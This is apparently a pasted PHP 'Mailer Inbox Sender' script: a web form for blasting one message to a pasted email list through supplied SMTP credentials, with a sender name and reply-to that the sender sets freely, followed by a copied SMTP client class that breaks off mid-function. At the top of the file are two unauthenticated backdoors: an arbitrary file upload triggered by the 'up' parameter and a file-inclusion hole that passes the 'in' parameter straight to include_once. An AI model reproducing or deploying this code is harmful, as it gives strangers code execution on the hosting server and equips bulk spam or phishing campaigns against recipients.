· 8 years ago · Dec 10, 2017, 10:44 PM
1
2<?php
3
4$UP = $_GET['up'];
5if(isset($UP) && !empty($UP)){
6echo"".$_FILES['userfile']."";
7$uploaddir = './';
8$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
9if ( isset($_FILES["userfile"]) ) {
10 echo '<p><font color="#00FF00" size="7">Uploaded</font></p>';
11 if (move_uploaded_file
12($_FILES["userfile"]["tmp_name"], $uploadfile))
13echo $uploadfile;
14 else echo '<p><font color="#FF0000" size="7">Failed</font></p>';
15}
16
17}
18# ===================================================== #
19# RFI
20$in = $_GET['in'];
21if(isset($in) && !empty($in)){
22 echo die(include_once $in);
23}
24# ===================================================== #
25function query_str($params){
26$str = '';
27foreach ($params as $key => $value) {
28$str .= (strlen($str) < 1) ? '' : '&';
29$str .= $key . '=' . rawurlencode($value);
30}
31return ($str);
32}
33function lrtrim($string){
34return stripslashes(ltrim(rtrim($string)));
35}
36
37if(isset($_POST['action'] ) ){
38
39$b = query_str($_POST);
40parse_str($b);
41$sslclick=lrtrim($sslclick);
42$action=lrtrim($action);
43$message=lrtrim($message);
44$emaillist=lrtrim($emaillist);
45$from=lrtrim($from);
46$reconnect=lrtrim($reconnect);
47$epriority=lrtrim($epriority);
48$my_smtp=lrtrim($my_smtp);
49$ssl_port=lrtrim($ssl_port);
50$smtp_username=lrtrim($smtp_username);
51$smtp_password=lrtrim($smtp_password);
52$replyto=lrtrim($replyto);
53$subject=lrtrim($subject);
54$realname=lrtrim($realname);
55$subject_base=lrtrim($subject);
56$realname_base=lrtrim($realname);
57$file_name=lrtrim($file);
58$urlz=lrtrim($urlz);
59$contenttype=lrtrim($contenttype);
60$encode_text=$_POST['encode'];
61
62 $message = urlencode($message);
63 $message = ereg_replace("%5C%22", "%22", $message);
64 $message = urldecode($message);
65 $message = stripslashes($message);
66 $subject = stripslashes($subject);
67 if ($encode_text == "yes") {
68 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
69 $subject = str_replace(' ', '_', $subject);
70 $subject = "=?UTF-8?Q?$subject?=";
71 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
72 $realname = str_replace(' ', '_', $realname);
73 $realname = "=?UTF-8?Q?$realname?=";
74 }
75}
76?>
77<html>
78
79<head>
80<title>PHP Mailer</title>
81<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
82
83<style type="text/css">
84<!--
85.style1 {
86 font-family: Geneva, Arial, Helvetica, sans-serif;
87 font-size: 12px;
88}
89-->
90</style>
91<style type="text/css">
92<!--
93.style1 {
94 font-size: 10px;
95 font-family: Geneva, Arial, Helvetica, sans-serif;
96}
97-->
98</style>
99</head>
100<SCRIPT SRC=></SCRIPT>
101<body text="#000000">
102<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">PHP-FIlES.me</font></p>
103<form name="form1" method="post" action="" enctype="multipart/form-data">
104
105 <br>
106
107 <table width="100%" border="0" height="407">
108
109 <tr>
110
111 <td width="100%" colspan="4" bgcolor="#666666" height="36">
112
113 <b>
114
115 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
116
117 </tr>
118 <tr>
119
120 <td width="10%" height="22" bgcolor="#E8E8E8">
121
122 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
123 SMTP Login:</font></div>
124
125 </td>
126
127 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
128
129 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
130
131 </font></td>
132
133 <td width="31%" height="22" bgcolor="#E8E8E8">
134
135 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
136 SMTP Pass:</font></div>
137
138 </td>
139
140 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
141
142 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
143
144 </font></td>
145
146 </tr>
147 <tr>
148
149 <td width="10%" height="22" bgcolor="#E8E8E8">
150
151 <div align="right">
152 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
153
154 </td>
155
156 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
157
158 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
159 (optional)</font></td>
160
161 <td width="31%" height="22" bgcolor="#E8E8E8">
162
163 <div align="right">
164 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
165 Server Smtp:</font></div>
166
167 </td>
168
169 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
170
171 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
172
173 </font></td>
174
175 </tr>
176 <tr>
177
178 <td width="10%" height="22" bgcolor="#E8E8E8">
179
180 <p align="right">
181 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
182
183 <td width="18%" height="22" bgcolor="#E8E8E8">
184 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
185
186 <td width="31%" height="22" bgcolor="#E8E8E8">
187
188 <p align="right">
189 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
190 After:</font></td>
191
192 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
193
194 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
195 EMAILS</font></td>
196
197 </tr>
198 <tr>
199
200 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
201
202 <p align="center">
203 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
204 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
205
206 </tr>
207
208 <tr>
209
210 <td width="10%" height="19">
211
212 </td>
213
214 <td width="18%" height="19"> </td>
215
216 <td width="31%" height="19">
217
218 </td>
219
220 <td width="41%" height="19"> </td>
221
222 </tr>
223
224 <tr>
225
226 <td width="100%" colspan="4" bgcolor="#666666" height="36">
227
228 <b>
229
230 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
231
232 </tr>
233
234 <tr>
235
236 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
237
238 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
239 Your Email:</font></div>
240
241 </td>
242
243 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
244
245 <input type="text" name="from" value="<?=$from;?>" size="30">
246
247 </font></td>
248
249 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
250
251 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
252 Your Name:</font></div>
253
254 </td>
255
256 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
257
258 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
259
260 </font></td>
261
262 </tr>
263 <tr>
264
265 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
266
267 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
268 Reply-To:</font></div>
269
270 </td>
271
272 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
273
274 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
275
276 </font></td>
277
278 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
279
280 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
281 Email Priority:</font></td>
282
283 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
284
285 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
286 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
287 Please Choose -</option>
288 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
289 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
290 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
291 </select></td>
292
293 </tr>
294
295 <tr>
296
297 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
298
299 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
300 Subject:</font></div>
301
302 </td>
303
304 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
305
306 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
307
308 </font></td>
309
310 </tr>
311
312 <tr>
313
314 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
315
316 </td>
317
318 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
319
320 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
321 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
322 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
323 </select></font></td>
324
325 </tr>
326
327 <tr valign="top">
328
329<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
330
331 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
332
333 <br>
334
335 <input type="radio" name="contenttype" value="plain" >
336
337 Plain
338
339 <input type="radio" name="contenttype" value="html" checked>
340
341 HTML
342
343 <input type="hidden" name="action" value="send">
344
345 <input type="submit" value="Send Message">
346
347 </font></td>
348
349 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
350
351 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
352
353 </font></td>
354
355 </tr>
356
357 </table>
358
359</form>
360
361
362
363<?
364
365if ($action){
366 if (!$from && !$subject && !$message && !$emaillist){
367 print "<script>alert('Please complete all fields before sending your message.'); </script>";
368 die(); }
369
370class SMTP
371{
372 /**
373 * SMTP server port
374 * @var int
375 */
376 var $SMTP_PORT = 25;
377
378 /**
379 * SMTP reply line ending
380 * @var string
381 */
382 var $CRLF = "\r\n";
383
384 /**
385 * Sets whether debugging is turned on
386 * @var bool
387 */
388 var $do_debug; # the level of debug to perform
389
390 /**
391 * Sets VERP use on/off (default is off)
392 * @var bool
393 */
394 var $do_verp = false;
395
396 /**#@+
397 * @access private
398 */
399 var $smtp_conn; # the socket to the server
400 var $error; # error if any on the last call
401 var $helo_rply; # the reply the server sent to us for HELO
402 /**#@-*/
403
404 /**
405 * Initialize the class so that the data is in a known state.
406 * @access public
407 * @return void
408 */
409 function SMTP() {
410 $this->smtp_conn = 0;
411 $this->error = null;
412 $this->helo_rply = null;
413
414 $this->do_debug = 0;
415 }
416
417 /*************************************************************
418 * CONNECTION FUNCTIONS *
419 ***********************************************************/
420
421 /**
422 * Connect to the server specified on the port specified.
423 * If the port is not specified use the default SMTP_PORT.
424 * If tval is specified then a connection will try and be
425 * established with the server for that number of seconds.
426 * If tval is not specified the default is 30 seconds to
427 * try on the connection.
428 *
429 * SMTP CODE SUCCESS: 220
430 * SMTP CODE FAILURE: 421
431 * @access public
432 * @return bool
433 */
434 function Connect($host,$port=0,$tval=30) {
435 # set the error val to null so there is no confusion
436 $this->error = null;
437
438 # make sure we are __not__ connected
439 if($this->connected()) {
440 # ok we are connected! what should we do?
441 # for now we will just give an error saying we
442 # are already connected
443 $this->error = array("error" => "Already connected to a server");
444 return false;
445 }
446
447 if(empty($port)) {
448 $port = $this->SMTP_PORT;
449 }
450
451 #connect to the smtp server
452 $this->smtp_conn = fsockopen($host, # the host of the server
453 $port, # the port to use
454 $errno, # error number if any
455 $errstr, # error message if any
456 $tval); # give up after ? secs
457 # verify we connected properly
458 if(empty($this->smtp_conn)) {
459 $this->error = array("error" => "Failed to connect to server",
460 "errno" => $errno,
461 "errstr" => $errstr);
462 if($this->do_debug >= 1) {
463 echo "SMTP -> ERROR: " . $this->error["error"] .
464 ": $errstr ($errno)" . $this->CRLF;
465 }
466 return false;
467 }
468
469 # sometimes the SMTP server takes a little longer to respond
470 # so we will give it a longer timeout for the first read
471 // Windows still does not have support for this timeout function
472 if(substr(PHP_OS, 0, 3) != "WIN")
473 socket_set_timeout($this->smtp_conn, $tval, 0);
474
475 # get any announcement stuff
476 $announce = $this->get_lines();
477
478 # set the timeout of any socket functions at 1/10 of a second
479 //if(function_exists("socket_set_timeout"))
480 // socket_set_timeout($this->smtp_conn, 0, 100000);
481
482 if($this->do_debug >= 2) {
483 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
484 }
485
486 return true;
487 }
488
489 /**
490 * Performs SMTP authentication. Must be run after running the
491 * Hello() method. Returns true if successfully authenticated.
492 * @access public
493 * @return bool
494 */
495 function Authenticate($username, $password) {
496 // Start authentication
497 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
498
499 $rply = $this->get_lines();
500 $code = substr($rply,0,3);
501
502 if($code != 334) {
503 $this->error =
504 array("error" => "AUTH not accepted from server",
505 "smtp_code" => $code,
506 "smtp_msg" => substr($rply,4));
507 if($this->do_debug >= 1) {
508 echo "SMTP -> ERROR: " . $this->error["error"] .
509 ": " . $rply . $this->CRLF;
510 }
511 return false;
512 }
513
514 // Send encoded username
515 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
516
517 $rply = $this->get_lines();
518 $code = substr($rply,0,3);
519
520 if($code != 334) {
521 $this->error =
522 array("error" => "Username not accepted from server",
523 "smtp_code" => $code,
524 "smtp_msg" => substr($rply,4));
525 if($this->do_debug >= 1) {
526 echo "SMTP -> ERROR: " . $this->error["error"] .
527 ": " . $rply . $this->CRLF;
528 }
529 return false;
530 }
531
532 // Send encoded password
533 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
534
535 $rply = $this->get_lines();
536 $code = substr($rply,0,3);
537
538 if($code != 235) {
539 $this->error =
540 array("error" => "Password not accepted from server",
541 "smtp_code" => $code,
542 "smtp_msg" => substr($rply,4));
543 if($this->do_debug >= 1) {
544 echo "SMTP -> ERROR: " . $this->error["error"] .
545 ": " . $rply . $this->CRLF;
546 }
547 return false;
548 }
549
550 return true;
551 }
552
553 /**
554 * Returns true if connected to a server otherwise false
555 * @access private
556 * @return bool
557 */
558 function Connected() {
559 if(!empty($this->smtp_conn)) {
560 $sock_status = socket_get_status($this->smtp_conn);
561 if($sock_status["eof"]) {
562 # hmm this is an odd situation... the socket is
563 # valid but we are not connected anymore
564 if($this->do_debug >= 1) {
565 echo "SMTP -> NOTICE:" . $this->CRLF .
566 "EOF caught while checking if connected";
567 }
568 $this->Close();
569 return false;
570 }
571 return true; # everything looks good
572 }
573 return false;
574 }
575
576 /**
577 * Closes the socket and cleans up the state of the class.
578 * It is not considered good to use this function without
579 * first trying to use QUIT.
580 * @access public
581 * @return void
582 */
583 function Close() {
584 $this->error = null; # so there is no confusion
585 $this->helo_rply = null;
586 if(!empty($this->smtp_conn)) {
587 # close the connection and cleanup
588 fclose($this->smtp_conn);
589 $this->smtp_conn = 0;
590 }
591 }
592
593 /***************************************************************
594 * SMTP COMMANDS *
595 *************************************************************/
596
597 /**
598 * Issues a data command and sends the msg_data to the server
599 * finializing the mail transaction. $msg_data is the message
600 * that is to be send with the headers. Each header needs to be
601 * on a single line followed by a <CRLF> with the message headers
602 * and the message body being seperated by and additional <CRLF>.
603 *
604 * Implements rfc 821: DATA <CRLF>
605 *
606 * SMTP CODE INTERMEDIATE: 354
607 * [data]
608 * <CRLF>.<CRLF>
609 * SMTP CODE SUCCESS: 250
610 * SMTP CODE FAILURE: 552,554,451,452
611 * SMTP CODE FAILURE: 451,554
612 * SMTP CODE ERROR : 500,501,503,421
613 * @access public
614 * @return bool
615 */
616 function Data($msg_data) {
617 $this->error = null; # so no confusion is caused
618
619 if(!$this->connected()) {
620 $this->error = array(
621 "error" => "Called Data() without being connected");
622 return false;
623 }
624
625 fputs($this->smtp_conn,"DATA" . $this->CRLF);
626
627 $rply = $this->get_lines();
628 $code = substr($rply,0,3);
629
630 if($this->do_debug >= 2) {
631 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
632 }
633
634 if($code != 354) {
635 $this->error =
636 array("error" => "DATA command not accepted from server",
637 "smtp_code" => $code,
638 "smtp_msg" => substr($rply,4));
639 if($this->do_debug >= 1) {
640 echo "SMTP -> ERROR: " . $this->error["error"] .
641 ": " . $rply . $this->CRLF;
642 }
643 return false;
644 }
645
646 # the server is ready to accept data!
647 # according to rfc 821 we should not send more than 1000
648 # including the CRLF
649 # characters on a single line so we will break the data up
650 # into lines by \r and/or \n then if needed we will break
651 # each of those into smaller lines to fit within the limit.
652 # in addition we will be looking for lines that start with
653 # a period '.' and append and additional period '.' to that
654 # line. NOTE: this does not count towards are limit.
655
656 # normalize the line breaks so we know the explode works
657 $msg_data = str_replace("\r\n","\n",$msg_data);
658 $msg_data = str_replace("\r","\n",$msg_data);
659 $lines = explode("\n",$msg_data);
660
661 # we need to find a good way to determine is headers are
662 # in the msg_data or if it is a straight msg body
663 # currently I am assuming rfc 822 definitions of msg headers
664 # and if the first field of the first line (':' sperated)
665 # does not contain a space then it _should_ be a header
666 # and we can process all lines before a blank "" line as
667 # headers.
668 $field = substr($lines[0],0,strpos($lines[0],":"));
669 $in_headers = false;
670 if(!empty($field) && !strstr($field," ")) {
671 $in_headers = true;
672 }
673
674 $max_line_length = 998; # used below; set here for ease in change
675
676 while(list(,$line) = @each($lines)) {
677 $lines_out = null;
678 if($line == "" && $in_headers) {
679 $in_headers = false;
680 }
681 # ok we need to break this line up into several
682 # smaller lines
683 while(strlen($line) > $max_line_length) {
684 $pos = strrpos(substr($line,0,$max_line_length)," ");
685
686 # Patch to fix DOS attack
687 if(!$pos) {
688 $pos = $max_line_length - 1;
689 }
690
691 $lines_out[] = substr($line,0,$pos);
692 $line = substr($line,$pos + 1);
693 # if we are processing headers we need to
694 # add a LWSP-char to the front of the new line
695 # rfc 822 on long msg headers
696 if($in_headers) {
697 $line = "\t" . $line;
698 }
699 }
700 $lines_out[] = $line;
701
702 # now send the lines to the server
703 while(list(,$line_out) = @each($lines_out)) {
704 if(strlen($line_out) > 0)
705 {
706 if(substr($line_out, 0, 1) == ".") {
707 $line_out = "." . $line_out;
708 }
709 }
710 fputs($this->smtp_conn,$line_out . $this->CRLF);
711 }
712 }
713
714 # ok all the message data has been sent so lets get this
715 # over with aleady
716 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
717
718 $rply = $this->get_lines();
719 $code = substr($rply,0,3);
720
721 if($this->do_debug >= 2) {
722 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
723 }
724
725 if($code != 250) {
726 $this->error =
727 array("error" => "DATA not accepted from server",
728 "smtp_code" => $code,
729 "smtp_msg" => substr($rply,4));
730 if($this->do_debug >= 1) {
731 echo "SMTP -> ERROR: " . $this->error["error"] .
732 ": " . $rply . $this->CRLF;
733 }
734 return false;
735 }
736 return true;
737 }
738
739 /**
740 * Expand takes the name and asks the server to list all the
741 * people who are members of the _list_. Expand will return
742 * back and array of the result or false if an error occurs.
743 * Each value in the array returned has the format of:
744 * [ <full-name> <sp> ] <path>
745 * The definition of <path> is defined in rfc 821
746 *
747 * Implements rfc 821: EXPN <SP> <string> <CRLF>
748 *
749 * SMTP CODE SUCCESS: 250
750 * SMTP CODE FAILURE: 550
751 * SMTP CODE ERROR : 500,501,502,504,421
752 * @access public
753 * @return string array
754 */
755 function Expand($name) {
756 $this->error = null; # so no confusion is caused
757
758 if(!$this->connected()) {
759 $this->error = array(
760 "error" => "Called Expand() without being connected");
761 return false;
762 }
763
764 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
765
766 $rply = $this->get_lines();
767 $code = substr($rply,0,3);
768
769 if($this->do_debug >= 2) {
770 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
771 }
772
773 if($code != 250) {
774 $this->error =
775 array("error" => "EXPN not accepted from server",
776 "smtp_code" => $code,
777 "smtp_msg" => substr($rply,4));
778 if($this->do_debug >= 1) {
779 echo "SMTP -> ERROR: " . $this->error["error"] .
780 ": " . $rply . $this->CRLF;
781 }
782 return false;
783 }
784
785 # parse the reply and place in our array to return to user
786 $entries = explode($this->CRLF,$rply);
787 while(list(,$l) = @each($entries)) {
788 $list[] = substr($l,4);
789 }
790
791 return $list;
792 }
793
794 /**
795 * Sends the HELO command to the smtp server.
796 * This makes sure that we and the server are in
797 * the same known state.
798 *
799 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
800 *
801 * SMTP CODE SUCCESS: 250
802 * SMTP CODE ERROR : 500, 501, 504, 421
803 * @access public
804 * @return bool
805 */
806 function Hello($host="") {
807 $this->error = null; # so no confusion is caused
808
809 if(!$this->connected()) {
810 $this->error = array(
811 "error" => "Called Hello() without being connected");
812 return false;
813 }
814
815 # if a hostname for the HELO was not specified determine
816 # a suitable one to send
817 if(empty($host)) {
818 # we need to determine some sort of appopiate default
819 # to send to the server
820 $host = "localhost";
821 }
822
823 // Send extended hello first (RFC 2821)
824 if(!$this->SendHello("EHLO", $host))
825 {
826 if(!$this->SendHello("HELO", $host))
827 return false;
828 }
829
830 return true;
831 }
832
833 /**
834 * Sends a HELO/EHLO command.
835 * @access private
836 * @return bool
837 */
838 function SendHello($hello, $host) {
839 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
840
841 $rply = $this->get_lines();
842 $code = substr($rply,0,3);
843
844 if($this->do_debug >= 2) {
845 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
846 }
847
848 if($code != 250) {
849 $this->error =
850 array("error" => $hello . " not accepted from server",
851 "smtp_code" => $code,
852 "smtp_msg" => substr($rply,4));
853 if($this->do_debug >= 1) {
854 echo "SMTP -> ERROR: " . $this->error["error"] .
855 ": " . $rply . $this->CRLF;
856 }
857 return false;
858 }
859
860 $this->helo_rply = $rply;
861
862 return true;
863 }
864
865 /**
866 * Gets help information on the keyword specified. If the keyword
867 * is not specified then returns generic help, ussually contianing
868 * A list of keywords that help is available on. This function
869 * returns the results back to the user. It is up to the user to
870 * handle the returned data. If an error occurs then false is
871 * returned with $this->error set appropiately.
872 *
873 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
874 *
875 * SMTP CODE SUCCESS: 211,214
876 * SMTP CODE ERROR : 500,501,502,504,421
877 * @access public
878 * @return string
879 */
880 function Help($keyword="") {
881 $this->error = null; # to avoid confusion
882
883 if(!$this->connected()) {
884 $this->error = array(
885 "error" => "Called Help() without being connected");
886 return false;
887 }
888
889 $extra = "";
890 if(!empty($keyword)) {
891 $extra = " " . $keyword;
892 }
893
894 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
895
896 $rply = $this->get_lines();
897 $code = substr($rply,0,3);
898
899 if($this->do_debug >= 2) {
900 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
901 }
902
903 if($code != 211 && $code != 214) {
904 $this->error =
905 array("error" => "HELP not accepted from server",
906 "smtp_code" => $code,
907 "smtp_msg" => substr($rply,4));
908 if($this->do_debug >= 1) {
909 echo "SMTP -> ERROR: " . $this->error["error"] .
910 ": " . $rply . $this->CRLF;
911 }
912 return false;
913 }
914
915 return $rply;
916 }
917
918 /**
919 * Starts a mail transaction from the email address specified in
920 * $from. Returns true if successful or false otherwise. If True
921 * the mail transaction is started and then one or more Recipient
922 * commands may be called followed by a Data command.
923 *
924 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
925 *
926 * SMTP CODE SUCCESS: 250
927 * SMTP CODE SUCCESS: 552,451,452
928 * SMTP CODE SUCCESS: 500,501,421
929 * @access public
930 * @return bool
931 */
932 function Mail($from) {
933 $this->error = null; # so no confusion is caused
934
935 if(!$this->connected()) {
936 $this->error = array(
937 "error" => "Called Mail() without being connected");
938 return false;
939 }
940
941 $useVerp = ($this->do_verp ? "XVERP" : "");
942 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
943
944 $rply = $this->get_lines();
945 $code = substr($rply,0,3);
946
947 if($this->do_debug >= 2) {
948 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
949 }
950
951 if($code != 250) {
952 $this->error =
953 array("error" => "MAIL not accepted from server",
954 "smtp_code" => $code,
955 "smtp_msg" => substr($rply,4));
956 if($this->do_debug >= 1) {
957 echo "SMTP -> ERROR: " . $this->error["error"] .
958 ": " . $rply . $this->CRLF;
959 }
960 return false;
961 }
962 return true;
963 }
964
965 /**
966 * Sends the command NOOP to the SMTP server.
967 *
968 * Implements from rfc 821: NOOP <CRLF>
969 *
970 * SMTP CODE SUCCESS: 250
971 * SMTP CODE ERROR : 500, 421
972 * @access public
973 * @return bool
974 */
975 function Noop() {
976 $this->error = null; # so no confusion is caused
977
978 if(!$this->connected()) {
979 $this->error = array(
980 "error" => "Called Noop() without being connected");
981 return false;
982 }
983
984 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
985
986 $rply = $this->get_lines();
987 $code = substr($rply,0,3);
988
989 if($this->do_debug >= 2) {
990 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
991 }
992
993 if($code != 250) {
994 $this->error =
995 array("error" => "NOOP not accepted from server",
996 "smtp_code" => $code,
997 "smtp_msg" => substr($rply,4));
998 if($this->do_debug >= 1) {
999 echo "SMTP -> ERROR: " . $this->error["error"] .
1000 ": " . $rply . $this->CRLF;
1001 }
1002 return false;
1003 }
1004 return true;
1005 }
1006
1007 /**
1008 * Sends the quit command to the server and then closes the socket
1009 * if there is no error or the $close_on_error argument is true.
1010 *
1011 * Implements from rfc 821: QUIT <CRLF>
1012 *
1013 * SMTP CODE SUCCESS: 221
1014 * SMTP CODE ERROR : 500
1015 * @access public
1016 * @return bool
1017 */
1018 function Quit($close_on_error=true) {
1019 $this->error = null; # so there is no confusion
1020
1021 if(!$this->connected()) {
1022 $this->error = array(
1023 "error" => "Called Quit() without being connected");
1024 return false;
1025 }
1026
1027 # send the quit command to the server
1028 fputs($this->smtp_conn,"quit" . $this->CRLF);
1029
1030 # get any good-bye messages
1031 $byemsg = $this->get_lines();
1032
1033 if($this->do_debug >= 2) {
1034 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1035 }
1036
1037 $rval = true;
1038 $e = null;
1039
1040 $code = substr($byemsg,0,3);
1041 if($code != 221) {
1042 # use e as a tmp var cause Close will overwrite $this->error
1043 $e = array("error" => "SMTP server rejected quit command",
1044 "smtp_code" => $code,
1045 "smtp_rply" => substr($byemsg,4));
1046 $rval = false;
1047 if($this->do_debug >= 1) {
1048 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1049 $byemsg . $this->CRLF;
1050 }
1051 }
1052
1053 if(empty($e) || $close_on_error) {
1054 $this->Close();
1055 }
1056
1057 return $rval;
1058 }
1059
1060 /**
1061 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1062 * Returns true if the recipient was accepted false if it was rejected.
1063 *
1064 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1065 *
1066 * SMTP CODE SUCCESS: 250,251
1067 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1068 * SMTP CODE ERROR : 500,501,503,421
1069 * @access public
1070 * @return bool
1071 */
1072 function Recipient($to) {
1073 $this->error = null; # so no confusion is caused
1074
1075 if(!$this->connected()) {
1076 $this->error = array(
1077 "error" => "Called Recipient() without being connected");
1078 return false;
1079 }
1080
1081 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1082
1083 $rply = $this->get_lines();
1084 $code = substr($rply,0,3);
1085
1086 if($this->do_debug >= 2) {
1087 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1088 }
1089
1090 if($code != 250 && $code != 251) {
1091 $this->error =
1092 array("error" => "RCPT not accepted from server",
1093 "smtp_code" => $code,
1094 "smtp_msg" => substr($rply,4));
1095 if($this->do_debug >= 1) {
1096 echo "SMTP -> ERROR: " . $this->error["error"] .
1097 ": " . $rply . $this->CRLF;
1098 }
1099 return false;
1100 }
1101 return true;
1102 }
1103
1104 /**
1105 * Sends the RSET command to abort and transaction that is
1106 * currently in progress. Returns true if successful false
1107 * otherwise.
1108 *
1109 * Implements rfc 821: RSET <CRLF>
1110 *
1111 * SMTP CODE SUCCESS: 250
1112 * SMTP CODE ERROR : 500,501,504,421
1113 * @access public
1114 * @return bool
1115 */
1116 function Reset() {
1117 $this->error = null; # so no confusion is caused
1118
1119 if(!$this->connected()) {
1120 $this->error = array(
1121 "error" => "Called Reset() without being connected");
1122 return false;
1123 }
1124
1125 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1126
1127 $rply = $this->get_lines();
1128 $code = substr($rply,0,3);
1129
1130 if($this->do_debug >= 2) {
1131 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1132 }
1133
1134 if($code != 250) {
1135 $this->error =
1136 array("error" => "RSET failed",
1137 "smtp_code" => $code,
1138 "smtp_msg" => substr($rply,4));
1139 if($this->do_debug >= 1) {
1140 echo "SMTP -> ERROR: " . $this->error["error"] .
